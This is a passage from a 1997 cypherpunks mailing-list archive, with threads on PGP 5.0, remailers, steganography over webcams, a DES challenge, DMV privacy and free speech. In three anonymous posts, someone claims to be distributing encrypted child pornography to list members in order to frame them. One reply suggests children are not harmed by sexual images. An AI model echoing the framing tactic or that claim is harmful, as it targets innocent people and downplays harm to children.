really nice, all things about it excluded.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 24 Jun 1997 01:47:14 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
Message-ID: <3.0.1.32.19970623133802.009b2800@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain



bennett_t1@popmail.firn.edu wrote:
>some asshole forgot to make PGP 5.0 freeware RSA key-generating

Okay, silly question here, but what's to stop someone from adding that
capability once the source is available?  (And if they knew they were going
to publish the source, why not just add the capability in the first place?)
-- Rick Osborne, <osborne@gateway,grumman.com>
"Unbelievable!  Even over the air waves, this Senator person eminates
evil as if it were musk!"
-- Gates, Legion of Superheroes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Myers <blackavr@aa.net>
Date: Tue, 24 Jun 1997 05:16:07 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <3.0.32.19970623133810.00776c0c@mail.aa.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:53 PM 6/22/97 -0700, Blanc wrote:

>Having said that, I'll consider the possibility, if visitors are allowed on
>weekends.   Perhaps several cpunks could go (if anyone else around here
>interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
>one visitor at a time is allowed . 

Well, I work in Tacoma, and have thought of visiting...PNW area physical 
meet, anyone? A jail is a reasonably appropriate setting, If this
horrid legislation isn't stopped, just think of it as house-hunting ;->
Has John Young sussed out the visitor situation yet?
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM67bmpmFdfLoqDWNAQF9QAQAl5M339rLKpfWMesrSvXoo4J/xd0F/Dlu
gtEiTkKNR1g0BzbaSdyYOxG+YV2EwP9f8nTWHCtI5T7Y+ha7N2sdKzHy+QrAKS4/
JbL9eBVw4cEcsRBGYMFZIWQilw2IHzlRNPCpmWRQsy30k5HYSIXqOqstiKj/Vi1P
TI8JgQnyeYU=
=nzca
-----END PGP SIGNATURE-----

--
/```````Instead of being born again, why not just GROW UP?`````````\
Michael Myers               Vote Libertarian....you'll sleep better!
Don't like abortion? Don't have one. Don't like guns? Don't buy one.
blackavr@aa.net  root@crowncollege.com PGP public key on keyservers
\_________________ http://www.aa.net/~blackavr/____________________/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 01:54:57 +0800
To: cypherpunks@toad.com
Subject: Child Porn 2 [JPG]
Message-ID: <199706231739.NAA07104@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Here is the same Time-Life child pornography encrypyted with the public
keys of even more co-conspirators in the cypherpunks list child porno
ring.
Of course, you will all do an extra five years in prison for the use
of encryption in the distribution of Time-Life child pornography.

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Version: PGP for Personal Privacy 5.0
MessageID: dPprVrWTzaklAcPs8B3n61dBuYrBHpvx

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 02:20:30 +0800
To: cypherpunks@toad.com
Subject: Child Porn 1 [JGP]
Message-ID: <199706231755.NAA10905@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Below is a Time-Life child pornography JPEG encrypted with the secret
keys of a variety of cypherpunks.
Not that I'm a troublemaker...

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-----END PGP MESSAGE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 02:21:34 +0800
To: cypherpunks@toad.com
Subject: Child Porn 3 [JPG]
Message-ID: <199706231803.OAA12416@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Here, yet again, is the same Time-Life child pornography picture, which
is encrypted with the public keys of people I don't know from squat.
Nonetheless, they are now co-conspirators in the Time-Life/Cypherpunks
child pornography ring.
Since they are unwitting participants in the spread of this filth
across the internet, I would suggest that they contact law enforcement
officials and offer to testify against the cypherpunks and employees
of Time-Life in return for immunity or reduced sentences ending in ...

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-----END PGP MESSAGE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 24 Jun 1997 05:34:12 +0800
To: Michael Myers <blackavr@aa.net>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <3.0.32.19970623133810.00776c0c@mail.aa.net>
Message-ID: <Pine.GSO.3.96.970623141626.2317A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Michael Myers wrote:

> At 11:53 PM 6/22/97 -0700, Blanc wrote:
> 
> >Having said that, I'll consider the possibility, if visitors are allowed on
> >weekends.   Perhaps several cpunks could go (if anyone else around here
> >interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
> >one visitor at a time is allowed . 
> 
> Well, I work in Tacoma, and have thought of visiting...PNW area physical 
> meet, anyone? A jail is a reasonably appropriate setting, If this
> horrid legislation isn't stopped, just think of it as house-hunting ;->
> Has John Young sussed out the visitor situation yet?

I would visit, but Tacoma is quite a distance from Portland.  (A couple
hundred miles.)  Maybe get a car pool on a weekend.

As for house-hunting...  I don't think they let you choose.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 24 Jun 1997 06:34:50 +0800
To: tzeruch@ceddec.com
Subject: Re: New PGP signatures
In-Reply-To: <97Jun23.173902edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.3.89.9706231540.A13824-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997 tzeruch@ceddec.com wrote:

[On PGP switching to SHA-1/ElGamal]
> They could have supported RSA/SHA if they wanted to.  They also put 3DES
> and IDEA support as options in the manual (but not in the freeware or
> tryit versions that I can see).

I guess suggestions such as the one above prove that CP is still attracting 
newbies. That's a good thing. Now if they only read the FAQ.

The patents for DH (which cover the public domain ElGamal) expire this
Fall. By using SHA-1/ElGamal, PGP is moving to a technology that will soon
no longer require paying large sums of money to RSA for the use of a
one-line mathematical formula. This is *a good thing*. 


--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rttc0025@pophost.club.innet.be
Date: Mon, 23 Jun 1997 22:03:27 +0800
To: cypherpunks@toad.com
Subject: anonymous mail
Message-ID: <199706231343.PAA10140@hydrogen.inbe.net>
MIME-Version: 1.0
Content-Type: text/plain



could you send me the name of an remailer that works in Belgium
please, i would be most gratefull

thank you
yours truly 
ambi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec McCrackin <camcc@abraxis.com>
Date: Tue, 24 Jun 1997 04:05:17 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Devisive comments [sic]
In-Reply-To: <3.0.2.32.19970620233615.03727f08@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970623155158.007dc100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:17 PM 6/20/97 -0700, you heatedly wrote:

|Take a gander at this out-of-the-blue and off-the-wall thing I just got
|from Georgia's finest. Proves to me that what they say about Georgia is
|right.

Hey, Tim.

Fill me in.

Perhaps other list members would like to know also.

What do _they_ say about Georgia?

And to whom do _they_ say it?

And just who are _they_?

Or was this just Tim in a snit?

Alec

BTW the most recent Mixmaster remailer (remailer@anon.efga.org) and nym 
server are in Ga. Try them out, Tim, when you want to blow off some steam 
without appearing foolish in public.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM67T3iKJGkNBIH7lAQHRKwP9HmtQIDMeB57Oj4zvwRmh/JizkcIi9Q0D
WAYPrDXNxGDibBZs6EnXMBar3ltY1ZyspXYyf39w69DY02WCIBFfpuw1Cj4LhXpb
Ws0LhszVWaG75voqDbDLGkCl37XfGfrHUW3osftLJ3hV3HaAuSWGPImMKQuVb8Xm
xjJH3SDCqJc=
=D1ql
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 24 Jun 1997 05:59:14 +0800
To: janke@unixg.ubc.ca
Subject: Re: Party on IRC
In-Reply-To: <m2vi38ozit.fsf@clouds.heaven.org>
Message-ID: <33aeef335820002@earth.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Leonard Janke said:
> 
> ftp://ftp.csua.berkeley.edu/pub/cypherpunks/applications/circ.tar.gz ?
> 
> Didn't look into it too closely, but I noticed it doesn't do 
> authentication.
> 

Circ uses 3DES for encryption and does key exchange with RSA. 
It runs on top of irc, and encrypts/decrypts by running a program
in the backgound. There is also a standalone client.

I'm not sure that authentication is wanted or needed for irc. 
There have been a lot of problems with people grabbing a list 
of everyone on irc at a given time, then e-mailing them spam 
or vague threats. ircd 2.9.2 implements the +a mode for channels
which somehow disallows listing user information even if you are
on the channel with them.

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 24 Jun 1997 05:45:23 +0800
To: cypherpunks mailing list <cypherpunks@Algebra.COM>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.3.89.9706231057.A3379-0100000@netcom22>
Message-ID: <97Jun23.173902edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Lucky Green wrote:

> On Mon, 23 Jun 1997, Rick Osborne wrote:
> 
> > bennett_t1@popmail.firn.edu wrote:
> > >some asshole forgot to make PGP 5.0 freeware RSA key-generating
> > 
> > Okay, silly question here, but what's to stop someone from adding that
> > capability once the source is available?  (And if they knew they were going
> > to publish the source, why not just add the capability in the first place?)
> 
> Because there is no reason for PGP to enourage people to generate new
> RSA/MD5 keys when MD5 is about to go downhill.

They could have supported RSA/SHA if they wanted to.  They also put 3DES
and IDEA support as options in the manual (but not in the freeware or
tryit versions that I can see).

I hope the international generic version - after it is scanned and
modified - has many useful "upward compatible" options which will refuse
to interoperate with the commercial windows/mac version. 

And then someone can write an interoperability spec and the next version
of everything will talk to everything else.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 24 Jun 1997 08:59:21 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: The spam thread
Message-ID: <199706240050.RAA27376@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About 24 Jun 97 at 9:45, Jason William RENNIE wrote:

> Anyway shall we let this thread die at this point ??

I've tried.  But I am eternally pulled back in.  Sometimes at the 
first post, sometimes later.  As long as people have promiscuous 
mail boxes they will get spam, use a filter, use your delete key.

Denial of service attacks are destructive and unproductive.

Die, Spam thread, Die!  Out, spot, out!  

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 24 Jun 1997 09:04:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Child Porn 3 [JPG]
In-Reply-To: <199706231803.OAA12416@dhp.com>
Message-ID: <v03102801afd4cb7d5ea5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:01 PM -0700 6/23/97, Adam Back wrote:

>(Thinking of the AA case where the fedz mailed the target a child porn
>package and kicked the door in seconds after the package hit the door
>mat, before they even knew their mail had arrived, and busted them for
>"possession" of child porn.)

"I have a solution."

(However, unlike Bell, my solution would not involve the roundabout charade
of setting up some kind of betting market--as if the population at large
would care about J. Random Narc. Under my solution, the cops who pulled
this stunt of sending unsolicited porn and then raiding the house would be
given a fair trial and then imprisoned for a lot longer than the Thomases
will ultimately be imprisoned.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 24 Jun 1997 06:06:24 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Sources for stego images, was re: Laying PipeNet
In-Reply-To: <v03102804afd38b324730@[10.0.2.15]>
Message-ID: <97Jun23.180055edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 22 Jun 1997, Steve Schear wrote:

> >That's the major problem with images, you need to generate your own.
> >Unless you fancy writing an image enhancement system, and analyse the
> >algorithms in existing systems to ensure that randomness is
> >introduced.
> >
> 
> There are plenty of Net-cams watching traffic or sunsets around the world.
> Since these images tend to change a bit from frame to frame they could
> cheaply and reliably provide the sorts of images which are ideal for stego.
> I'm not sure if you can frame-grab from such a changing Web page with the
> current browser features, but this should be a significant hurdle.

Or, set up your own webcam "to watch your coffee pot twice a minute" or
something. Merge the crypto stream through the gifs after tweaking the
brightness and contrast to avoid 0 and 255 (a light fixture with a pattern
of 254/255 values gets suspicious, and is not from thermal noise - a
"problem" with monochrome quickcams for night photography).

Then do something like

  lynx -source webcam.x.y/images/coffee.gif | destegodecrypt >>reconstruct

every 30 seconds (with some kind of dropout correction).  [lynx is a
textmode browser that works well for these types of things].

Or even an AVI for both video and sound stego.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 24 Jun 1997 09:24:08 +0800
To: coderpunks@toad.com
Subject: Re: A better DES challenge
In-Reply-To: <199706232004.QAA11706@nsa.research.att.com>
Message-ID: <199706240115.SAA07994@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Matt Blaze <mab@research.att.com> writes:

 > I'm not a big fan of cipher ``challenges'' in which a prize
 > is awarded to the first person who discovers the key that
 > produces some plaintext/ciphertext pair.  The effort
 > required to produce a solution tends to grossly overstate
 > the actual difficulty of searching the keyspace, since
 > invariably the winner uses the idle time on general-purpose
 > computers, which are poorly-optimized for use as keysearch
 > engines.

Really.  It appears that the DESCHALL frivolities actually
enhanced the reputation of DES, fluffy press releases by C2 and
Security Dynamics notwithstanding.

 > A more basic problem with challenges is that even when they
 > are solved they don't really provide convincing proof that
 > the keyspace was actually searched.  For example, in the
 > recent 56-bit RSA DES challenge, RSA has no way to prove
 > that it didn't ``leak'' some hint about the solution to the
 > winner. (I hasten to point out that I'm not suggesting that
 > anything like this actually happened, only that a skeptic
 > might raise the possibility, against which RSA has no real
 > way to defend itself).

This is a problem which I have been pondering in recent days. How
would someone in the future demonstrate that they have broken
DES, now that the RSA DES Challenge is behind us, and trusted
parties offering to generate and keep secret ciphertext/plaintext
pairs are no where to be found.

It would seem to me that the best way to demonstrate that one has
broken a block cipher without releasing ones algorithm would be
to generate and publish some key collisions, in which a
ciphertext/plaintext pair is mapped by more than one key.

If one encrypts plaintext with a known key to generate
ciphertext, cryptanalysis of the resulting ciphertext/plaintext
pair for a key other than the one used to generate it should be
comparable in difficulty to cryptanalysis of a
ciphertext/plaintext pair provided by a trusted third party.

The ability to generate such collisions at will clearly
demonstrates that one can calculate keys from
ciphertext/plaintext pairs.

 > A better challenge, then, would be one in which even the
 > challenger doesn't know the solution in advance (or would
 > have had to itself search the keyspace or otherwise
 > cryptanalyze the cipher in order to find it).  For example,
 > a challenge for a one-way collision-intractable hash
 > function could simply ask for an example of a collision, or
 > could ask for the inversion of some well-structured output
 > (such as all zeros).

A step in the right direction.  We should develop ways of
demonstrating cryptanalysis which do not require one person to
solve a problem provided by another person without the
possibility of collusion.

[snip]

 > Recall that there are 2^56 DES keys that each select a
 > different permutation of the 2^64 codebook entries.  We
 > expect that there's about a 1/2^8 chance that there exists a
 > DES key that converts any given plaintext block to any given
 > ciphertext block.

 > My challenge is to find a key such that a ciphertext block
 > of the form <XXXXXXXX> decrypts to a plaintext block of the
 > form <YYYYYYYY>, where X and Y represent any fixed eight-bit
 > byte value repeated across each of the eight bytes of the
 > block.

 > Observe that I'm actually posing 2^16 different challenge
 > plaintext/ciphertext pairs, each with about 1/2^8
 > probability of having a solution, where groups of 2^8
 > challenges can be searched for simultaneously.  Each
 > challenge may have no solution key, exactly one solution
 > key, or more than one solution key, but it is very likely
 > that there is at least one solution key to at least one of
 > them (in fact, one could expect to find about 2^8 solutions
 > overall, assuming DES produces good pseudorandom
 > permutations).

I like this.  It is somewhat cleaner than the key collision trick
suggested above.

 > I will award a grand prize of 56 bits (seven (7) US
 > dollars) to the first person to provide a solution key. (The
 > challenge ends when first key is found).  While the prize
 > money is admittedly trivial (this is out of my own pocket,
 > after all), I hope it will serve as ``seed money'' that
 > encourages others to add their own prizes to a growing pot.

Let me know when the money reaches $10k.

 > Of course, I cannot be completely sure whether there exist
 > any solutions at all.

If there were to be no solutions at all, given the alleged
pseudorandomness of DES, this would probably be an even more
interesting result than solving the problem posed.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 24 Jun 1997 09:47:06 +0800
To: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Subject: Re: spam on this list
In-Reply-To: <Pine.GSO.3.96.970623100514.944B-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970623183907.009c9400@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



>How do we deal with child pornography and free speech in such a way as to
>allow both to exist and insure our children are not exposed to pornographic
>material until they are at a maturity level where they can deal with it?

You're phrasing this like it's a general policy question, e.g., "If we were 
going to design the best freedom-of-speech legal structure for a society,
what would it look like?", and then trying to apply the answer to that 
question to a very different question, e.g., "What can we do about
free speech policy, given the wording and past interpretation of the First
Amendment, within the legislative/judicial structure created by the
Constitution?" The Constitution does not grant Congress nor individual 
states the ability to make certain laws, even if they otherwise appear 
reasonable or useful; I think it's a shame that people who have sworn to 
defend the Constitution seem to regard it as an impediment (or fail to 
understand that it's intended an impediment) to an all-powerful state. 
(Also, this discussion is, like many law/policy-related ones, 
pretty US-centric, which is not evil but perhaps nonoptimal or unnecessarily 
shortsighted.)

There are three issues here - child porn (broadly speaking, images featuring
children in a sexual context), access to porn by children, and freedom of
speech/expression. It's not clear from your comments whether you're 
concerned with "child porn" or "access to porn by children", or both.

Your definition of the problem is problematic, because it talks about 
"our children" and "maturity level where they can deal with it", which are 
both difficult to fix precisely. Some people would read the phrase "our 
children" to apply to every child within a national jurisdiction; 
some people would read the phrase to refer to their own children, or the 
children in their familiy. Are we talking about single group of children - 
or nationwide groups of similarly situated children, e.g., 9-year-olds - or 
are we talking about millions of individual children and family groups, with 
different standards/expectations/needs? Also, who decides what an 
appropriate "maturity level" is, and what "dealing with it" is? Are you 
looking for a solution which will allow you to control your children's 
access to porn, or a system which will allow you to control all children's 
access to porn? 

I see two broad strategies here - if we're concerned about children and 
porn, we can either control children or control porn. I think that 
controlling children rather than porn is preferable, because:

1.	It provides the greatest amount of expressive freedom to adults
2.	It allows individual parents/families/communities to adopt their own 
local standards for what's acceptable

>If pornography is the enemy of crypto then that is enemy that must be
fought. 
>
>A battle that must be won without killing the enemy to insure continued
>free speech.  Quite a challenge I think.

Or we must find a way to avoid the battle - perhaps by abandoning the idea 
that children are "innocent", and that they're somehow harmed if they hear 
about or see pictures of sexual activity before they're 18.



--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 24 Jun 1997 06:56:26 +0800
To: tzeruch@ceddec.com
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <97Jun13.180309edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.SUN.3.96.970623184633.28368H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997 tzeruch@ceddec.com wrote:

> 
> If the state issues me a permit, they probably have a right to the
> information pertaining to the permit, e.g. they do need the make, model,
> year, and similar information about the car to issue a title or
> registration.  If they are issuing state ID, they need to know that I am
> me in order to issue it.  They don't need to place my mother's maiden name
> into the record although I think it appears on my birth certificate, and
> would cause problems since this is used as an informal password.  My
> driver's license is a permit to drive, not a permit to be me.  You can
> make a case for the database containing my age, but date of birth?  Much
> of what appears is not necessary for the purpose stated. 
> 
> So are you making the case for having the state ask every detail about
> your life and being able to place it in the licensing database, or only
> answers to those questions relevant to issuing the license?

I'm making the case that information I share with (for example) the DMV
should not be viewable by those OUTSIDE of the DMV and NYPD without my
consent - i.e. if Joe Insurance Inc. wants to insure my car, they need my
permission to have the DMV release the info; but some folks have taken
this to other weird tangents, such as polarizing one's point of view into
either libertarian or stasist.  I hold neither.  And I've given up on the
cluelessness of the same folks, so the topic I've dropped. :) 


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 24 Jun 1997 06:58:20 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: new money systems
In-Reply-To: <199706200103.SAA06874@netcom11.netcom.com>
Message-ID: <97Jun23.185147edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Vladimir Z. Nuri wrote:

Money is different than "wealth"

Start with "Money Mischief" by Milton Freidman for an interesting look at
the role of money.

Money has three functions:

1. as a medium of exchange (as opposed to barter)
2. as a store of wealth
3. as a measure of value (1 cow = $X, 1 sheep = $Y, 1 pig = $Z, instead of
   1 cow = 3.6 sheep).

> 1. why is it that even as our economy becomes "more productive", we
> have to work harder? families now require more than one wage earner
> when before they did not?

> 2. there are statistics that show in earlier times, it took [x]
> farmers to produce the food for the population, such that the ratio
> was something like 1 to 2 or so. now the ratio is nearly 1 to 60
> or greater. why does this not translate into more free time for
> everyone? could it be there is a means by which some entity can
> siphon off our spare energy and time?

If anyone was to adopt a 1920's lifestyle (few cars, no telephone or
electricity, no indoor plumbing in many places) they would have plenty
left over.  As long as consumption is the goal, you can keep working
longer to satisfy more marginal wants.  If I can convince a couple that
they "need" two luxury cars, they will work the longer hours.  If they are
satisfied with something less, they may get by with only one earner. 

However, you are correct in the sense that only half of today's income
goes to actually satisfying our wants, the other half goes to satisfy the
government.  In the 1950 you had a 1% taxation rate, and few regulations
(cars without air bags, computers, and catalytic converters are cheaper).
If you want to go back to 1950, and make your own decisions instead of
letting the government do so, you would have these things restored.

We work "harder" and have less free time only in the sense that we prefer
working longer hours and having expensive things and less free time to
working shorter hours and having more free time.

> 3. if someone is siphoning off energy from *everyone* simultaneously,
> could it be detected in our system? how?

It is called economic inefficiency (the electrical analogy might be
resistance).  If tarriffs are imposed on an import, I end up paying the
domestic producers a little more.  If some regulation forces an employer
to spend $100,000 printing manuals or something, he is spending that to
satisfy the government and not me.  And then there is the obvious "tax",
which you pay regardless of who sends the actual amount to the government
(e.g. the "employer's" half of FICA).

> what's the solution? some are looking toward "alternative" or "local"
> currencies. there are some cases such that local communities experienced
> more efficient economies when they resorted to local currencies out
> of desperation. 

The problem is one of exchange.  A local currency (banks used to issue
their own notes) is only good in that locality.  How do I buy a California
pistachio with Michigan Money?  Or with British Pounds for that matter. 
In all cases you get an exchange rate.  There will be a varying ratio
between any two given fiat currencies, and even two currencies based on
(i.e. redeemable in) different commodities.  A coupon for "one free
hamburger" is a type of currency.  You will sell it at a discount (less
than face value - the price of the hamburger) to someone who wants a
hamburger if you prefer a salad.  In that sense each fast-food place could
issue their own currency (or Shell with their prepaid gasoline cards), but
they would all be discounted from the cash value - why should I pay $1 for
a $1 coupon good only at McDonalds?  If I eat there often, I may pay $9
for 10 $1 coupons.  Another place where they already exist are "barter
clubs" as barter points.

But all the above won't fix any of your above points.  You will work
harder and be taxed on barter points, hamburger coupons, or anything else
based on their (hopefully discounted) value in dollars.  I will still have
to spend more of whatever to get a car with an airbag which I don't want.

The only reason we have national currencies is because nations have
different ideas about how large their inflation rates and defecits should
be and about trade.  That way they can control the supply of that currency
and require changing into that currency to do trade.

The archetypical digital monitary note would be exchangable for a fixed
amount of gold (only because that is considered by most people as "money" 
in a true form, but you could theoretically use any nonperishable
commodity).  As long as they were honored, it would be the same as having
a bullion coin of that amount.  (it could also be exchanged for another
equal note for those schemes that need to track "spent"  digital chunks). 

Having 1000 other currencies would mean that each currency would have a
fluctuating value relative to each other (great if you are an
arbitrageur), and to gold, so why would I want to say I have 5000
eco-greenstamp units instead of 2 grams gold when everyone would recognize
the value of the latter, but only locals the value of the former?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 24 Jun 1997 07:03:46 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <199706141405.JAA25820@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970623185144.28368I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, William H. Geiger III wrote:

> >Should it include your address and phone number?
> 
> Yes

Well then, so much for asking the phone company to NOT list your number in
the phone book.  If someone wants to find you, all they have to do is
cough up some dough and register themselves as an insurance broker or
whatever and they can look at DMV records to get your phone number.
Thanks but no thanks.  You are being too dense on this.
 
> Two wrongs don't make a right Ray. The whole CIA NSA thing is just a
> flimsy straw man. All the documants being discused are on the state and
> local level. They do not have "national security" that they can hide
> behinde.

NSA I'll grant you might be a straw man.  FBI and CIA records should be
open to all to read - except ongoing current stuff, but I don't mean that
they should be open 50 years after the fact.  Government abuses DO and
HAVE occured.  I neededn't cite things like Waco and Ruby Ridge, do I?

What threat were those events to National Security?

> >But should the public know Joe's phone number and address and date of
> >birth?  Gee, weren't we screaming this sucks to easily accessible Texas
> >DMV records a few days ago?
> 
> YOU may have been screaming about it I was not.

That is quite telling of your beliefs.
 
> You have two choices you can take the Libertarian view of a minimal
> governement where all it's actions are reveiwable by it's citizens or you
> can take the Statest view of big governemtn where all is's actions are
> hidden and all "solutions" are more regulation and biger government.

Why should I accept being pidgeonholed into one category or the other?
Get a clue.
 
> The whole privacy issue is a strawman proped up by the government to
> frighten the sheeple so they can pass their agenda. What's their agenda?
> To have a series of privacy laws they can hide behind to keep their
> actions hidden from public view.

Um yeah, sure, and if you've nothing to hide why ask for privacy right?
Why don't you like put cameras in your home and monitors on the street so
anyone who wants to listen in on you and watch you can do so?

There should be no privacy issue.  Privacy should be a right as should the
right to use strong encryption WITHOUT GAK.  That is the point of strong
encryption without GAK after all: Privacy.  End of Story.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 24 Jun 1997 08:25:40 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: spam on this list (fwd)
Message-ID: <199706232357.SAA24059@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 23 Jun 1997 19:25:51 -0400
> From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
> Subject: Re: spam on this list

> I support the constitution.  In the case of the first ammendment: The
> freedom it allows you, or whoever, to send spam and indulge in child
> pornography is the same freedom provided to those who say those ideas are
> wrong.  Got it?

But it isn't the same as you present it. I will explain below.

> How do we deal with child pornography and free speech in such a way as to
> allow both to exist and insure our children are not exposed to pornographic
> material until they are at a maturity level where they can deal with it?

Let's look at this carefuly for a moment. Child pornography in and of itself
is irrelevant. The issue is sexual acts involving one or more children by
adults which are committed with (or without) the specific intent of creating
some physical record for personal use or to pass to others (with or without
profit).

Now let's contrast this with a simple pencil drawing of a child and an
adult having sex (eg. Greek pottery).

The question is are these two acts, one involving a real physical act
involving a minor, and the other as a physical expression of the artists
imagination equivalent?

Some would have you believe they are the same. Unfortunately, I have yet to
